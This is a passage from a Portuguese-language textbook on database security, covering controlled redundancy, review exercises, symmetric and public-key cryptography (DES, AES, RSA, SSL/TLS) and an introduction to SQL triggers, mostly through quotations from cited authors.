podem ser facilmente normalizados (CAYRES, 2015, p. 34).

Já Carnevalli (2015, s.p.) afirma que “[...] com o aumento do número de


linhas presentes nas tabelas de uma base de dados, percebe-se o aumento da
utilização de recursos computacionais para realizar consultas mais complexas,
principalmente aquelas que envolvem junções entre duas ou mais tabelas”. Então,
trabalhar com controle de redundância pode auxiliar no desempenho de resposta
às solicitações realizadas para um banco de dados.

137
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

A redundância controlada é recomendada para bases de dados em


que há um grande número de leituras, porém, um baixo número de
escritas. Por exemplo, uma tabela que armazena registros de artigos
publicados em um blog se beneficiará, pois cada artigo foi escrito uma
vez e raramente será editado, contudo, estará constantemente sendo
lido. Por outro lado, uma tabela que armazena grande quantidade
de informações transacionais, com grande volume de escrita e baixa
quantidade de leituras, será prejudicada, uma vez que, a cada escrita,
despenderá recursos atualizando dados redundantes cuja utilidade
será pequena (CARNEVALLI, 2015, s.p.).

DICAS

Carnevalli (2015) apresenta várias dicas sobre o processo de redundância em


seu artigo Desnormalização e redundância controlada em bancos de dados relacionais.
Para conhecer mais sobre controle de redundâncias, modelo normalizado e um exemplo
de uma proposta de implementação simplificada do controle de redundâncias, por meio
de stored procedures no MySQL, leia o artigo na íntegra, disponível em: https://imasters.
com.br/banco-de-dados/desnormalizacao-e-redundancia-controlada-em-bancos-de-
dados-relacionais.

Como podemos verificar no estudo do controle de redundâncias em


BD, a forma como os dados são armazenados nas tabelas impacta diretamente
no desempenho da busca dos dados e na geração de relatórios. Controles que
proporcionem uma integração mais relacional e sem duplicações de dados tendem
a beneficiar todos os processos que envolvem o banco.

138
RESUMO DO TÓPICO 1
Neste tópico, você aprendeu que:

• Para atingir a Segurança da Informação, processos de segurança devem estar


contidos no banco de dados e também no desenvolvimento do software e/ou
aplicação. A empresa deve definir políticas e normas que permitam estabelecer
essa segurança.

• Um Sistema Gerenciador de Banco de Dados (SGBD) é muito importante,


pois, através dele, vários recursos são disponibilizados com a finalidade de
estabelecer controles sobre sua manutenção, proteção e monitoração.

• Os princípios da segurança da informação envolvem a estruturação do BD, bem


como o desenvolvimento de todo o software, compreendendo os princípios de
disponibilidade, integridade e confidencialidade, autenticidade e não repúdio.

• Os BD têm características diferentes, conforme sua finalidade/tecnologia,


possuindo utilitários de BD, que auxiliam na manutenção, na monitoração de
desempenho, no controle de acesso, na realização de backup e na restauração
de dados e reorganização do banco de dados.

• A empresa, independentemente do seu tamanho, deve ter conhecimento das


ameaças e vulnerabilidades a que está submetida no dia a dia, principalmente
no que envolve suas informações e sistemas, para estabelecer políticas de
segurança mais assertivas.

• A partir da definição do que é importante para a empresa em relação aos


seus dados e dos riscos a que está submetida, é possível decidir pelos
melhores métodos de segurança, com o objetivo de manter a integridade,
disponibilidade e confidencialidade.

• Controle de disponibilidade, gestão de backup e gestão dos riscos são


importantes para que, em situações imprevistas ou de desastres, os responsáveis
por esse processo na empresa tenham rápidas ações para disponibilizar os
sistemas e dados novamente.

• Backups devem fazer parte da rotina diária. Deve-se ter controle dos intervalos
definidos de para o armazenamento seguro, elaboração de um plano de ação
para restauração dos serviços, além de ser testada essa restauração de backup
com frequência.

• BD não é apenas para armazenar dados de qualquer forma. Conforme forem


criados, tabelas, vínculos e relações irão impactar no desempenho desse
banco e na disponibilidade das informações; por isso, aplicar controles de
redundâncias é importante.

139
AUTOATIVIDADE

1 Segurança da informação compreende a proteção de informações, sistemas


e recursos da empresa contra fatores internos e externos. Essa proteção fica
menos complexa quando se utilizam princípios de segurança. Com base nos
princípios da segurança da informação, assinale a alternativa INCORRETA:

a) ( ) Confidencialidade, é a segurança de que um sistema ou banco de


dados não vai ser acessado por pessoas não autorizadas ao mesmo.
b) ( ) Integridade, o sistema deve manter os dados íntegros, ou seja, é
assegurar que não foram modificados ou suas informações corrompidas
por processos externos.
c) ( ) Não repudio, é a segurança de que uma informação foi elaborada ou
distribuída pelo autor a quem se atribui, além do controle da exposição
e disponibilização à terceiros.
d) ( ) Disponibilidade, é a segurança que um usuário autorizado tenha
acesso à informação, ou seja, quando a informação for solicitada ela
deve estar disponível.

2 Há um conjunto de medidas empregadas para se obter a segurança da


informação, as quais envolvem a segurança física ou do ambiente, a segurança
lógica ou controle de acesso, a segurança da rede ou da transmissão e a
segurança do armazenamento. Com base nessas medidas, analise as sentenças
a seguir:

I- A segurança lógica tem por objetivo garantir que o acesso à informação


digital seja realizado dentro dos princípios da: disponibilidade,
integridade, confidencialidade, autenticidade e irretratabilidade.
II- A segurança da rede preocupa-se em evitar o acesso físico às instalações,
aos cabeamentos, aos controles de hardwares e às informações da
organização por indivíduos não autorizados ou desconhecidos da empresa.
III- Medidas que preservem a informação armazenada são essenciais para
um banco de dados. A Segurança no armazenamento envolve todos os
processos de cópias de segurança e redundância de dados.

Assinale a alternativa CORRETA:


a) ( ) As sentenças I e II estão corretas.
b) ( ) Somente a sentença II está correta.
c) ( ) As sentenças I e III estão corretas.
d) ( ) Somente a sentença III está correta.

140
3 O objetivo de ter um banco de dados é ter dados armazenados de forma
consistente para posterior acesso e manipulação. O desempenho do banco
está ligado à tecnologia de seu desenvolvimento, mas, principalmente, como
foram construídas suas tabelas e relacionamentos. Evitar a redundância e a
inconsistência de dados é um dos desafios constantes. A partir dos controles
de redundância, classifique V para as sentenças verdadeiras e F para as falsas:

( ) É importante que se tenha o mínimo possível de redundância quando se


utiliza um projeto conceitual de um banco de dados.
( ) O número de linhas que compõem as tabelas de uma base de dados
não representa aumento da utilização de recursos computacionais para
realizar consultas mais complexas.
( ) A redundância controlada é sugerida para bases de dados em que há um
grande número de leituras, porém um baixo número de escritas, ou seja,
de busca de dados com alteração.

Assinale a alternativa que apresenta a sequência CORRETA:


a) ( ) V – F – F.
b) ( ) V – F – V.
c) ( ) F – V – F.
d) ( ) F – F – V.

4 Sistemas de Informações estão em todo lugar e gerenciam tudo na vida


cotidiana. Segundo Elmasri e Navathe (2011, p. 17), “a tecnologia de banco
de dados se aplica a dados estruturados e formatados, que surgem em
aplicações de rotina no governo, no comércio e na indústria”. Diante desse
cenário, disserte sobre a importância de se ter um banco de dados com o
princípio da disponibilidade.

5 De acordo com Laudon e Laudon (2014, p. 183), “um banco de dados é um


conjunto de arquivos relacionados entre si com registros sobre pessoas,
lugares ou coisas”. O uso de um Sistema Gerenciador de Banco de Dados
(SGBD) pode ser de grande auxílio em banco de dados pequenos ou grandes.
Nesse contexto, disserte sobre os principais benefícios de utilizar um SGBD.

141
142
TÓPICO 2 —
UNIDADE 3

CRIPTOGRAFIA EM BANCOS DE DADOS

1 INTRODUÇÃO
Informações e dados são valiosos para todas as empresas, não importando
o seu tamanho ou segmento, sendo essencial o uso da segurança de dados.
A interceptação de informações confidenciais por indivíduos
não autorizados pode causar comprometimento de informações
particulares sobre funcionários ou consumidores, revelar ações de
marketing ou planos de desenvolvimento de um novo produto
ou ainda causar constrangimento organizacional. As organizações
com operações amplamente difundidas necessitam de um modo de
manter a segurança das comunicações com funcionários e parceiros de
negócios, nas quais deseja que suas instalações estejam (REYNOLDS;
STAIR, 2015, p. 278).

Reynolds e Stair (2015) relatam que a segurança, muitas vezes, é parcial,


por isso acabam surgindo brechas na segurança, quando dispositivos móveis são
envolvidos.
As redes de mídia guiadas possuem uma função de segurança
inerente. Somente os dispositivos conectados fisicamente à rede podem
acessar os dados. Redes sem fio, por outro lado, são muitas vezes
surpreendentemente configuradas de modo que permita acesso a
qualquer dispositivo que tente “ouvir” as comunicações transmitidas.
Medidas devem ser tomadas para substituir esses padrões (REYNOLDS;
STAIR, 2015, p. 278).

Em meio a esse cenário de acessos por redes com fio e sem fio, Reynolds e
Stair (2015, p. 278) constatam que “[...] a criptografia de dados é uma abordagem
utilizada para proteger a segurança das comunicações por meio das redes com
fio e sem fio. A criptografia é o processo de converter uma mensagem original
em uma forma que pode ser entendida apenas pelo receptor a quem é dirigida”.

Para Elmasri e Navathe (2011, p. 564), a criptografia está inserida no dia


a dia das pessoas. “A criptografia de dados [...] é utilizada para proteger dados
confidenciais (como números de cartão de crédito) que são transmitidos por meio
de algum tipo de rede de comunicação”.
A criptografia também pode ser usada para oferecer proteção
adicional para partes confidenciais de um banco de dados. Os dados
são codificados usando algum algoritmo de codificação. Um usuário
não autorizado que acessa dados codificados terá dificuldade para
decifrá-los, mas os usuários autorizados recebem algoritmos de
codificação ou decodificação (ou chaves) para decifrar os dados.

143
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Técnicas de criptografia que são muito difíceis de decodificar sem


uma chave foram desenvolvidas para aplicações militares (ELMASRI;
NAVATHE, 2011, p. 564).

De acordo com Nakamura (2016, p. 120), “[...] o público da criptografia


também mudou, passando de militares e organizações de inteligência para todos,
desde o acesso a websites até a proteção de informações em notebooks”. Ao
qual evidencia ainda mais sua maior utilização nas aplicações nas mais variadas
finalidades.

Segundo Laudon e Laudon (2014), a criptografia é usada em muitas


organizações para proteção dos dados:
Muitas organizações usam a criptografia para proteger as informações
digitais que armazenam, transferem fisicamente ou enviam pela
Internet. Criptografia é o processo de transformar textos comuns
ou dados em um texto cifrado, que não possa ser lido por ninguém
a não ser o remetente e o destinatário desejado. Os dados são
criptografados por meio de um código numérico secreto, denominado
chave criptográfica, que transforma dados comuns em texto cifrado.
Para ser lida, a mensagem deve ser decriptografada pelo destinatário
(LAUDON; LAUDON, 2014, p. 278).

Já para Elmasri e Navathe (2011, p. 580), “[...] a criptografia consiste


em aplicar um algoritmo de criptografia aos dados usando alguma chave de
criptografia pré-especificada. Os dados resultantes precisam ser descriptografados
usando uma chave de descriptografia para recuperar os dados originais”. Dessa
maneira, gera um processo de codificação em que apenas será apresentada a
informação quando for decodificada.

NOTA

Criptografia: além de ser uma técnica de ocultação da informação, vem se


mostrando como uma das mais poderosas ferramentas para a SIC, sendo empregada para
garantir de forma muito eficaz a integridade, a confidencialidade e a autenticidade das
informações, através do uso de certificados e assinaturas digitais, protegendo praticamente
todos os atributos de violação da informação (FERREIRA, 2017, p. 88-89).

Laudon e Laudon (2014) citam, além de outros dois métodos de criptografia,


duas formas de criptografar o tráfego de rede: o Secure Sockets Layer (SSL) e o
Secure Hypertext Transfer Protocol (S-HTTP):
O Secure Sockets Layer (SSL) e o seu sucessor, o Transport Layer
Security (TLS), permitem que computadores clientes e servidores
administrem as atividades de criptografia e decriptografia à medida
que se comunicam entre si durante uma sessão da Web segura. O Secure
Hypertext Transfer Protocol (S-HTTP) é outro protocolo usado para
criptografar os dados que fluem pela Internet, mas ele só consegue lidar

144
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

com mensagens individuais, enquanto o SSL e o TLS são projetados


para estabelecer uma conexão segura entre dois computadores.
O recurso que gera sessões seguras está embutido no software
navegador da Internet do cliente e nos servidores. O cliente e o servidor
negociam qual chave e qual nível de segurança serão utilizados. Uma
vez que se estabeleça uma sessão segura entre cliente e servidor, todas
as mensagens dessa sessão serão criptografadas.
Existem ainda dois outros métodos de criptografia: a criptografia de
chave simétrica e a criptografia de chave pública. Na criptografia de
chave simétrica, o remetente e o destinatário estabelecem uma sessão de
Internet segura, criando uma única chave criptográfica, que é enviada
ao destinatário, de forma que o remetente e o destinatário compartilham
a mesma chave. A força da chave criptográfica é medida pelo seu
comprimento em bits. Atualmente, uma chave típica tem 128 bits (um
conjunto de 128 dígitos binários) (LAUDON; LAUDON, 2014, p. 278).

Nakamura (2016) defende a necessidade de proteção de informações que


trafegam pela rede nas empresas, sendo a criptografia uma dessas soluções:
A proteção de uma empresa é feita com o uso de mecanismos de
segurança tecnológicos, físicos, processuais e regulatórios.
[...] Assim, uma organização básica para a proteção à rede envolve:
• Proteção de informações que trafegam pela rede: necessidade
de garantir confidencialidade, integridade e disponibilidade das
informações, que envolvem dois principais controles: criptografia
para confidencialidade e integridade; e tecnologias que garantam
a disponibilidade da rede, como configurações ou tecnologias
específicas que limitem o número de determinados tipos de
conexões e evitem ataques de negação de serviço (DoS) contra
equipamentos de rede.
• Proteção contra acesso a informações armazenadas em servidores:
necessidade de garantir a confidencialidade, a integridade e a
disponibilidade das informações em servidores, limitando o acesso
a essas informações por meio de alguns controles principais:
autenticação (nos níveis de rede e de usuário), controle de acesso
de rede, como o firewall, sistema de detecção de intrusão (IDS) e
sistema de prevenção de intrusão (IPS).
• Proteção contra o acesso de usuários contaminados com malware
ou contra a contaminação dos servidores com malwares: usuários
legítimos que tenham suas credenciais roubadas podem dar o acesso
indevido a uma rede, ou os usuários podem acessar informações
de uma forma legítima, mas, caso estejam contaminados com
malwares, acabam comprometendo a confidencialidade, integridade
ou disponibilidade da informação. Malwares podem também afetar
diretamente as propriedades básicas de segurança das informações
nos servidores. Alguns dos principais controles de segurança:
antivírus, antimalware, DLP, IDS, IPS (NAKAMURA, 2016, p. 92).

Entretanto, para Laudon e Laudon (2014, p. 278), um “[...] problema


comum a todos os esquemas de criptografia simétrica é que a chave precisa
ser compartilhada de algum modo entre remetente e destinatário, deixando-a
exposta a invasores que podem interceptá-la e decriptografá-la”.

Por esse motivo, “[...] uma forma mais segura de criptografia, denominada
criptografia de chave pública, usa duas chaves: uma compartilhada (ou pública) e
outra totalmente privada” (LAUDON; LAUDON, 2014, p. 278).
145
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

FIGURA 1 – CRIPTOGRAFIA DE CHAVE PÚBLICA

FONTE: Laudon; Laudon (2014, p. 278)

As chaves são matematicamente relacionadas, de modo que os dados


criptografados com uma chave somente podem ser decriptografados
pela outra. Para enviar e receber mensagens, as duas partes envolvidas
na comunicação primeiramente criam pares separados de chaves
públicas e privadas. A chave pública é mantida em um diretório, e
a privada deve ser mantida em segredo. O remetente criptografa
uma mensagem com a chave pública do destinatário. Ao receber a
mensagem, o destinatário usa sua chave privada para decriptografá-la
(LAUDON; LAUDON, 2014, p. 278-279).

Nakamura (2016, p. 34) afirma que “[...] controles de segurança são


utilizados para a prevenção de ataques, para evitar que um risco se torne um
incidente. Um exemplo desse tipo de controle é a criptografia, que protege a
confidencialidade da informação, além da integridade”.

Já para Elmasri e Navathe (2011, p. 32):


Os avanços na tecnologia de criptografia tornam mais seguro transferir
dados confidenciais em formato codificado do servidor ao cliente,
onde será decodificado.
[...] Isso pode ser feito pelo hardware ou por um software avançado.
Essa tecnologia oferece níveis mais altos de segurança de dados, mas
as questões de segurança da rede continuam sendo uma preocupação
constante. Diversas tecnologias de compactação de dados também
ajudam a transferir grande quantidade de dados dos servidores aos
clientes por redes com e sem fio.

Ainda, segundo Elmasri e Navathe (2011), por mais que existam fluxos de
controles de acesso às informações de um banco de dados, os dados podem ser
interceptados e seu conteúdo identificado caso não seja usada criptografia:
Suponha que comuniquemos dados, mas eles caiam nas mãos de um
usuário ilegítimo. Nessa situação, ao usar a criptografia, podemos
disfarçar a mensagem de modo que, mesmo que a transmissão seja
desviada, a mensagem não será revelada. A criptografia é a conversão
de dados para um formato, chamado texto cifrado, que não pode ser
facilmente entendido por pessoas não autorizadas.
Ela melhora a segurança e a privacidade quando os controles de acesso
são evitados, pois em casos de perda ou roubo de dados, aqueles
criptografados não podem ser facilmente entendidos por pessoas não
autorizadas.
Com essa base, aderimos às seguintes definições padrão:
• Texto cifrado: dados criptografados (codificados).
• Texto limpo (ou texto claro): dados inteligíveis que têm significado
e podem ser lidos ou atuados sem a aplicação da descriptografia.

146
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

• Criptografia: o processo de transformar texto limpo em texto


cifrado.
• Descriptografia: o processo de transformar texto cifrado de volta
para texto limpo (ELMASRI; NAVATHE, 2011, p. 580).

Podemos verificar algumas explicações e exemplos em relação a algoritmos


que envolvem criptografia e criptografia de chaves simétricas e assimétricas.
Segundo Elmasri e Navathe (2011), temos algoritmos que envolve os padrões
Data Encryption e Advanced Encryption:
O Data Encryption Standard (DES) é um sistema desenvolvido pelo
governo dos EUA para uso pelo público em geral. Ele foi bastante
aceito como padrão criptográfico nos Estados Unidos e no exterior.
O DES pode oferecer criptografia de ponta a ponta no canal entre
o emissor A e o receptor B. O algoritmo DES é uma combinação
cuidadosa e complexa de dois blocos de montagem fundamentais da
criptografia: substituição e permutação (transposição). O algoritmo
deriva sua robustez da aplicação repetida dessas duas técnicas para
um total de 16 ciclos. O texto limpo (a forma original da mensagem)
é criptografado como blocos de 64 bits. Embora a chave tenha 64 bits
de extensão, na verdade a chave pode ser qualquer número de 56 bits.
Após questionar a adequação do DES, o NIST introduziu o Advanced
Encryption Standard (AES). Esse algoritmo tem um tamanho de bloco
de 128 bits, comparado com o tamanho de 56 bits do DES, e pode usar
chaves de 128, 192 ou 256 bits, em comparação com a chave de 56 bits
do DES. O AES introduz mais chaves possíveis, em comparação com
o DES, e, assim, exige muito mais tempo para quebrar uma chave
(ELMASRI; NAVATHE, 2011, p. 580, grifo no original).

Para Elmasri e Navathe (2011, p. 581):


Uma chave simétrica é uma chave utilizada para criptografia e
descriptografia. Ao usar uma chave simétrica, a criptografia e a
descriptografia rápidas são possíveis para emprego rotineiro com
dados sensíveis no banco de dados.
Uma mensagem criptografada com uma chave secreta pode ser
descriptografada apenas com a mesma chave secreta. Os algoritmos
usados para a criptografia de chave simétrica são chamados algoritmos
de chave secreta. Como tais algoritmos são utilizados principalmente
para criptografar o conteúdo de uma mensagem, eles também são
chamados de algoritmos de criptografia de conteúdo. A principal
desvantagem associada aos algoritmos de chave secreta é a necessidade
de compartilhar essa chave. Um método possível é derivar a chave
secreta de uma cadeia de carateres de senha fornecida pelo usuário ao
aplicar a mesma função à cadeia de carateres no emissor e no receptor;
isso é conhecido como algoritmo de criptografia baseado em senha.
A robustez da criptografia de chave simétrica depende do tamanho
da chave utilizada. Para o mesmo algoritmo, a criptografia que utiliza
uma chave mais longa é mais difícil de ser quebrada do que aquela
que usa uma chave mais curta.
[...] Os algoritmos de chave pública são baseados em funções
matemáticas em vez de em operações em padrões de bits.
Eles resolvem um problema da criptografia de chave simétrica, a
saber, que tanto o emissor quanto o destinatário precisam trocar a
chave comum de uma maneira segura. Nos sistemas de chave pública,
duas chaves são utilizadas para criptografia/descriptografia. A chave
pública pode ser transmitida de uma maneira não segura, enquanto

147
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

a chave privada não é transmitida. Esses algoritmos – que usam duas


chaves relacionadas, uma chave pública e uma chave privada, para
realizar operações complementares (criptografia e descriptografia) –
são conhecidos como algoritmos de criptografia de chave assimétrica.
O emprego de duas chaves pode ter consequências profundas nas áreas
de confidencialidade, distribuição de chave e autenticação. As duas
chaves usadas para a criptografia de chave pública são conhecidas
como chave pública e chave privada. A última é mantida em segredo,
mas é referenciada como chave privada em vez de chave secreta (a
chave usada na criptografia convencional) para evitar confusão com
a criptografia convencional. As duas chaves são matematicamente
relacionadas, pois uma delas serve para realizar a criptografia e a
outra, para realizar a descriptografia. Contudo, é muito difícil derivar
a chave privada com base na chave pública.

De forma complementar, Elmasri e Navathe (2011, p. 581, grifo no original):


Um esquema de criptografia de chave pública, ou infraestrutura, tem
seis ingredientes:
1. Texto limpo. Trata-se dos dados ou mensagem legível que é
alimentada no algoritmo como entrada.
2. Algoritmo de criptografia. Esse algoritmo realiza diversas
transformações no texto limpo.
3. e 4. Chaves pública e privada. Trata-se de um par de chaves que
foram selecionadas de modo que, se uma for usada para criptografia,
a outra é utilizada para descriptografia. As transformações exatas
realizadas pelo algoritmo de criptografia dependem da chave
pública ou privada que é fornecida como entrada. Por exemplo, se
uma mensagem é criptografada com a chave pública, ela só pode
ser descriptografada com a chave privada.
5. Texto cifrado. Essa é a mensagem misturada produzida como
saída. Ela depende do texto limpo e da chave. Para determinada
mensagem, duas chaves diferentes produzirão dois textos cifrados
diferentes.
6. Algoritmo de descriptografia. Esse algoritmo aceita o texto cifrado
e a chave correspondente, e produz o texto limpo original.
[...] Como o nome sugere, a chave pública do par se torna pública para
outros a usarem, enquanto a chave privada é conhecida apenas por seu
proprietário. Um algoritmo criptográfico de chave pública para uso geral
conta com uma chave para criptografia e uma chave diferente, porém
relacionada, para descriptografia. As etapas essenciais são as seguintes:
1. Cada usuário gera um par de chaves a serem usadas para
criptografar e descriptografar as mensagens.
2. Cada usuário coloca uma das duas chaves em um registrador
público ou outro arquivo acessível. Essa é a chave pública. A chave
correspondente é mantida privada.
3. Se um emissor deseja enviar uma mensagem privada a um receptor,
o emissor criptografa a mensagem usando a chave pública do receptor.
4. Quando o receptor recebe a mensagem, ele ou ela a descriptografa
com a chave privada do receptor. Nenhum outro destinatário pode
descriptografar a mensagem porque somente o receptor conhece
sua chave privada.

Outro algoritmo de criptografia de chave pública que pode ser apresentado


é o RSA. Segundo Elmasri e Navathe (2011, p. 582):

148
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

O algoritmo de criptografia de chave pública RSA. Um dos primeiros


esquemas de chave pública foi introduzido em 1978 por Ron Rivest,
Adi Shamir e Len Adleman no MIT e recebeu o nome de esquema
RSA devido às iniciais de seus sobrenomes. O esquema RSA, desde
então, tem sido afirmado como a técnica mais aceita e implementada
para a criptografia de chave pública. O algoritmo de criptografia
RSA incorpora resultados da teoria dos números, combinados com a
dificuldade de determinar os fatores primos de um alvo. O algoritmo
RSA também opera com a aritmética modular – mod n.
Duas chaves, d e e, são usadas para criptografia e descriptografia. Uma
propriedade importante é que elas podem ser trocadas. n é escolhida
como um inteiro grande, que é um produto de dois números primos
distintos grandes, a e b, n = a × b. A chave de criptografia e é um número
escolhido aleatoriamente entre 1 e n que seja relativamente primo de
(a – 1) × (b – 1). O bloco de texto limpo P é criptografado como Pe,
onde Pe = P mod n. Como a exponenciação é realizada como mod n, a
fatoração de Pe para desvendar o texto limpo criptografado é difícil.
Porém, a chave de descriptografia d é cuidadosamente escolhida de
modo que (Pe)d mod n = P. A chave de descriptografia d pode ser
calculada com base na condição de que d × e = 1 mod ((a – 1) × (b – 1)).
Assim, o receptor legítimo que conhece d simplesmente calcula (Pe)d
mod n = P e recupera P sem ter de fatorar Pe.

DICAS

A criptografia é muito mais do que sigilo e garantia de confidencialidade.


Pense em variadas aplicações: autenticação de mensagens, assinatura digital, protocolos
para troca de chaves secretas, protocolos de autenticação, leilões e eleições eletrônicos,
dinheiro digital (NAKAMURA, 2016, p. 121).

A seguir, é importante continuarmos os estudos de criptografia


aprofundando mais os conhecimentos na área de banco de dados relacionados
mais especificamente com triggers.

2 CRIPTOGRAFIA DE TRIGGERS
Para compreensão desse assunto, é importante definirmos alguns conceitos
e objetivos relacionados a banco de dados, Structured Query (SQL) e ações que são
realizadas para manipulação dos dados (inclusão, alteração, exclusão, consultas,
entre outras ações). Gonçalves (2014, p. 31) afirma que “[...] quando falamos em
objetos, referimo-nos a tabelas, packages, triggers, procedures, functions etc. No caso
das tabelas que contêm os dados, os usuários com acesso a estes objetos também
poderão acessar os dados contidos nelas”.

149
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

A Structured Query Language (SQL), segundo Cayres (2015, p. 57), “[...] é


a linguagem padrão para trabalhar com banco de dados relacionais nos diferentes
SGBDs disponíveis no mercado”.
As empresas que disponibilizam SGBDs no mercado também se
preocupam em desenvolver e disponibilizar regras para o uso de seus
produtos nas diversas linguagens de programação em uso, visando
manter um padrão para facilitar o processo de como seus comandos
poderão ser embutidos nas soluções de software em desenvolvimento
que manipulam banco de dados (CAYRES, 2015, p. 58).

O conjunto de linguagens que compõe a SQL visando à definição, à


consulta e à atualização de dados, abrangendo recursos adicionais para segurança
e gestão do BD, são:
• Linguagem de Definição de Dados: o conjunto de comandos da
linguagem DDL é usado para a definição das estruturas de dados,
fornecendo as instruções que permitem a criação, modificação
e remoção de objetos de banco de dados. A DDL trabalha com
os metadados (dados acerca dos dados) que ficam armazenados
no dicionário de dados (catálogo). Exemplos de comandos dessa
linguagem são: CREATE, ALTER e DROP.
• Linguagem de Manipulação de Dados: DML é o grupo de comandos
dentro da linguagem SQL utilizado para a recuperação, inclusão,
remoção e modificação de informações no banco de dados. Aqui são
realizadas as operações CRUD (Create, Retrieve, Update e Delete),
através de comandos tais como: INSERT, SELECT, UPDATE e DELETE.
• Linguagem de Controle de Dados: DCL é o grupo de comandos que
permitem ao administrador de banco de dados gerenciar os aspectos
de autorização de dados e licenças de usuários para controlar quem
tem acesso para ver ou manipular dados dentro do banco de dados.
Exemplos de comandos da DCL são: GRANT e REVOKE.
• Linguagem de Controle de Transações: DTL, por sua vez, é a
linguagem de Controle de Transações e fornece mecanismos para
controlar transações no banco de dados. Seus comandos mais
conhecidos são: BEGIN TRANSACTION, COMMIT e ROLLBACK
(CAYRES, 2015, p. 57-58).

Segundo Cayres (2015, p. 58):


Existem algumas funcionalidades gerais, fornecidas pelos principais
SGBDs disponíveis no mercado, que servem para facilitar, proteger
e automatizar alguns dos processos realizados dentro do banco de
dados. Ao qual pode ser:
• Views.
• Triggers e Stored Procedures.
• MySQL-SQL/PSM, Oracle-PL/SQL, PostgreSQL-PL/pgSQL/PSM.
• “Regras” para embutir comandos SQL em Linguagens de
programação.

Conforme Elmasri e Navathe (2011, p. 58), “[...] a SQL usa os termos tabela,
linha e coluna para os termos do modelo relacional formal relação, tupla e atributo,
respectivamente”, complementando que “[...] o principal comando SQL para a
definição de dados é o CREATE, que pode ser usado para criar esquemas, tabelas
(relações) e domínios (bem como outras construções como views, assertions e triggers)”
(ELMASRI; NAVATHE, 2011, p. 58).
150
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

Outro comando importante em SQL é o CREATE TRIGGER. Em


muitos casos, é conveniente especificar um tipo de ação a ser
tomada quando certos eventos ocorrem e quando certas condições
são satisfeitas. Por exemplo, pode ser útil especificar uma condição
que, se violada, faz que algum usuário seja informado dela. Um
gerente pode querer ser informado se as despesas de viagem de
um funcionário excederem certo limite, recebendo uma mensagem
sempre que isso acontecer. A ação que o SGBD deve tomar nesse
caso é enviar uma mensagem apropriada a esse usuário. A condição,
portanto, é usada para monitorar Consultas complexas, triggers, views
e modificação de esquema no banco de dados. Outras ações podem ser
especificadas, como executar um procedimento armazenado (stored
procedure) específico ou disparar outras atualizações. A instrução
CREATE TRIGGER é utilizada para implementar essas ações em SQL
(ELMASRI; NAVATHE, 2011, p. 87-88).

Para Elmasri e Navathe (2011, p. 73), “[...] a SQL possui construções de


linguagem para a criação de triggers. Estas geralmente são conhecidas como técnicas
de banco de dados ativo, pois especificam ações que são disparadas automaticamente
por eventos, como atualizações no banco de dados”.

Cayres (2015, p. 155) conceitua que:


Trigger é uma procedure executada (ou disparada) automaticamente pelo
banco de dados, quando uma instrução DML (INSERT, UPDATE OU
DELETE) é executada em uma tabela predeterminada. Triggers podem
ser disparados antes ou depois da execução de uma instrução DML.

Já para Elmasri e Navathe (2011, p. 14):


Nos sistemas de banco de dados relacionais de hoje é possível
associar gatilhos (ou triggers) a tabelas. Um gatilho é uma forma de
regra ativada por atualizações na tabela, que resulta na realização
de algumas operações adicionais em algumas outras tabelas, envio
de mensagens, e assim por diante. Procedimentos mais elaborados
para impor regras são popularmente chamados de procedimentos
armazenados (ou stored procedures); eles se tornam parte da definição
geral de banco de dados e são chamados de forma apropriada quando
certas condições são atendidas. A funcionalidade mais poderosa é
fornecida por sistemas de banco de dados ativos, que oferecem regras
ativas que podem automaticamente iniciar ações quando ocorrem
certos eventos e condições.

Para Carvalho (2015, p. 107), trigger “[...] é um conjunto de operações que


são executadas automaticamente quando uma alteração é feita em um registro
que está relacionado a uma tabela. Ela pode ser invocada antes ou depois de uma
alteração em um insert, update ou delete, podendo haver até 6 triggers por tabela”.

Carvalho (2015) ainda complementa que existem alguns benefícios em


relação ao uso de triggers:
Alguns benefícios de sua utilização são:
• Verificar a integridade dos dados, pois é possível fazer uma
verificação antes da inserção do registro;

151
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

• Contornar erros na regra de negócio do sistema no banco de dados;


• Utilizar como substituta para event_scheduler. Entretanto, ela não o
substitui em processos que não são disparados a partir de uma tabela;
• Auditar as mudanças nas tabelas (CARVALHO, 2015, p. 108).

Já para Gonçalves (2015, p. 294):


Um trigger pode disparar quando alguma ação ocorre em uma tabela
e também em um determinado momento. Por exemplo, podemos criar
um trigger que dispare quando fizermos um update em determinada
tabela, e que ocorra após o update dos registros. Além disso, podemos
definir que este trigger disparará para cada linha afetada pelo
comando dml, chamado de trigger de linha, ou se executará uma única
vez independente de quantas linhas sofrerem alterações. Este último,
nós chamamos de trigger de tabela ou de comando. Também podemos
definir cláusulas where para o trigger para que o disparo só aconteça
se alguns critérios forem obedecidos.

DICAS

Assista ao vídeo SQL SERVER – 37 – TRIGGER – Criar gatilhos no seu banco


de dados, de Alessandro Trovato, que explica o que são triggers e apresenta um exemplo
prático de como funciona em um banco de dados. Acesse: https://www.youtube.com/
watch?v=JG90YeuY7nE.

Elmasri e Navathe (2011) observam que vários bancos de dados comerciais


possuem o recurso de triggers, sendo importantes porque:
As regras que especificam ações que são disparadas automaticamente
por certos eventos têm sido consideradas melhorias importantes para
os sistemas de banco de dados há muito tempo. De fato, o conceito de
triggers – uma técnica para especificar certos tipos de regras ativas –
já existia nas primeiras versões da especificação SQL para bancos de
dados relacionais, e as triggers agora fazem parte do padrão SQL-99 e
outros mais recentes. Os SGBDs relacionais comerciais – como Oracle,
